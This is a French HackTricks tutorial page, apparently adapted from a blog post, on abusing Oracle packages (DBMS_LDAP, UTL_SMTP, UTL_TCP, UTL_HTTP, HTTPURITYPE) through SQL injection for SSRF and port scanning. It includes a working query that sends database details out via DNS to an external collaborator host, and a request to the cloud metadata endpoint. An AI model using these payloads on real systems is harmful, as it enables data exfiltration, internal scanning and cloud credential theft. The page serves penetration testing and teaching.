- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
**Les informations ont été copiées depuis** [**https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle**](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/#oracle)
L'utilisation d'Oracle pour effectuer des requêtes HTTP et DNS hors bande est bien documentée, mais comme moyen d'exfiltrer des données SQL lors d'injections. Nous pouvons toujours modifier ces techniques/fonctions pour effectuer d'autres SSRF/XSPA.
L'installation d'Oracle peut être très douloureuse, surtout si vous voulez configurer une instance rapide pour essayer des commandes. Mon ami et collègue chez [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), m'a dirigé vers [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) qui m'a permis de configurer une instance sur une machine AWS Ubuntu t2.large et Docker.
J'ai exécuté la commande docker avec le drapeau `--network="host"` afin de pouvoir imiter Oracle en tant qu'installation native avec un accès réseau complet, pour le cours de ce blogpost.
### Paquets Oracle qui prennent en charge une URL ou une spécification de nom d'hôte/numéro de port <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Afin de trouver des paquets et des fonctions qui prennent en charge une spécification de nom d'hôte et de port, j'ai effectué une recherche Google sur la [Documentation en ligne de la base de données Oracle](https://docs.oracle.com/database/121/index.html). Plus précisément,
Cette recherche sommaire omet évidemment des packages tels que `DBMS_LDAP` (qui permet de passer un nom d'hôte et un numéro de port) car [la page de documentation](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) vous renvoie simplement à un [emplacement différent](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Il peut donc y avoir d'autres packages Oracle qui peuvent être utilisés de manière abusive pour effectuer des requêtes sortantes que j'ai pu manquer.
Le package `DBMS_LDAP` permet d'accéder aux données des serveurs LDAP. La fonction `init()` initialise une session avec un serveur LDAP et prend un nom d'hôte et un numéro de port en argument.
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
Cependant, étant donné que la fonction accepte un nom d'hôte et un numéro de port en tant qu'arguments, vous pouvez l'utiliser pour fonctionner comme un scanner de port également.
Le package `UTL_SMTP` est conçu pour envoyer des e-mails via SMTP. L'exemple fourni sur le [site de documentation Oracle montre comment vous pouvez utiliser ce package pour envoyer un e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Pour nous, cependant, l'intérêt réside dans la capacité à fournir une spécification d'hôte et de port.
Un `ORA-29276: transfer timeout` indique que le port est ouvert mais qu'aucune connexion SMTP n'a été établie, tandis qu'un `ORA-29278: SMTP transient error: 421 Service not available` indique que le port est fermé.
Le package `UTL_TCP` et ses procédures et fonctions permettent une communication basée sur TCP/IP avec des services. S'il est programmé pour un service spécifique, ce package peut facilement devenir un moyen d'accéder au réseau ou d'effectuer des requêtes côté serveur, car tous les aspects d'une connexion TCP/IP peuvent être contrôlés.
L'exemple sur le site de documentation Oracle montre comment vous pouvez utiliser ce package pour établir une connexion TCP brute pour récupérer une page web. Nous pouvons le simplifier un peu plus et l'utiliser pour effectuer des requêtes sur l'instance de métadonnées, par exemple, ou sur un service TCP/IP arbitraire.
Il est intéressant de noter que, grâce à la capacité de créer des requêtes TCP brutes, ce package peut également être utilisé pour interroger le service de métadonnées d'instance de tous les fournisseurs de cloud, car le type de méthode et les en-têtes supplémentaires peuvent tous être transmis dans la requête TCP.
Peut-être la technique la plus courante et la plus largement documentée dans tous les tutoriels Oracle SQL Injection hors bande est le package [`UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Ce package est défini par la documentation comme suit - `Le package UTL_HTTP effectue des appels Hypertext Transfer Protocol (HTTP) à partir de SQL et PL/SQL. Vous pouvez l'utiliser pour accéder à des données sur Internet via HTTP.`
Un `ORA-12541: TNS:no listener` ou un `TNS:operation timed out` est un signe que le port TCP est fermé, tandis qu'un `ORA-29263: HTTP protocol error` ou des données sont un signe que le port est ouvert.
Un autre package que j'ai utilisé dans le passé avec un succès variable est la méthode [`GETCLOB()` du type abstrait Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) qui vous permet d'interagir avec une URL et fournit une prise en charge du protocole HTTP. La méthode `GETCLOB()` est utilisée pour récupérer la réponse GET d'une URL en tant que [type de données CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;![](https://ibreak.software/img/using-sql-injection-to-perform-ssrf-xspa-attacks/22.png)](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au repo [hacktricks](https://github.com/carlospolop/hacktricks) et [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.